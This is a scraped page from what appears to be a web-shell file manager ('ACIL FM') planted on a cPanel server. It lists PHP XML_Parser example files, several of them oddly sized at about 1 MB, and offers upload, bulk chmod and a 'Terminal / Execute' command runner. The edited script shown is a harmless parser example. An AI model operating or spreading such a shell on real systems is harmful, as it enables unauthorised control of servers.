ACIL FM
Dark
Refresh
Current DIR:
/usr/share/doc/cpanel-php84-xml-parser/examples
/
usr
share
doc
cpanel-php84-xml-parser
examples
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
xml_parser_file.php
1.03 MB
chmod
View
DL
Edit
Rename
Delete
xml_parser_file.xml
87 B
chmod
View
DL
Edit
Rename
Delete
xml_parser_funcmode.php
875 B
chmod
View
DL
Edit
Rename
Delete
xml_parser_handler.php
1022 B
chmod
View
DL
Edit
Rename
Delete
xml_parser_simple1.php
1.06 MB
chmod
View
DL
Edit
Rename
Delete
xml_parser_simple1.xml
207 B
chmod
View
DL
Edit
Rename
Delete
xml_parser_simple2.php
1.27 MB
chmod
View
DL
Edit
Rename
Delete
xml_parser_simple2.xml
152 B
chmod
View
DL
Edit
Rename
Delete
xml_parser_simple_handler.php
1.24 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /usr/share/doc/cpanel-php84-xml-parser/examples/xml_parser_simple_handler.php
<?PHP /** * example for XML_Parser_Simple * * $Id$ * * @author Stephan Schmidt <schst@php-tools.net> * @package XML_Parser * @subpackage Examples */ /** * require the parser */ require_once 'XML/Parser/Simple.php'; class myHandlerSimple { /** * handle the category element * * The element will be handled, once it's closed * * @access private * @param string name of the element * @param array attributes of the element * @param string character data of the element */ function handleElement_category($name, $attribs, $data) { printf( 'Category is %s<br />', $data ); } /** * handle the name element * * The element will be handled, once it's closed * * @access private * @param string name of the element * @param array attributes of the element * @param string character data of the element */ function handleElement_name($name, $attribs, $data) { printf( 'Name is %s<br />', $data ); } } $p = &new XML_Parser_Simple(); $h = &new myHandlerSimple(); $p->setHandlerObj($h); $result = $p->setInputFile('xml_parser_simple2.xml'); $p->setMode('func'); $result = $p->parse(); ?>
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply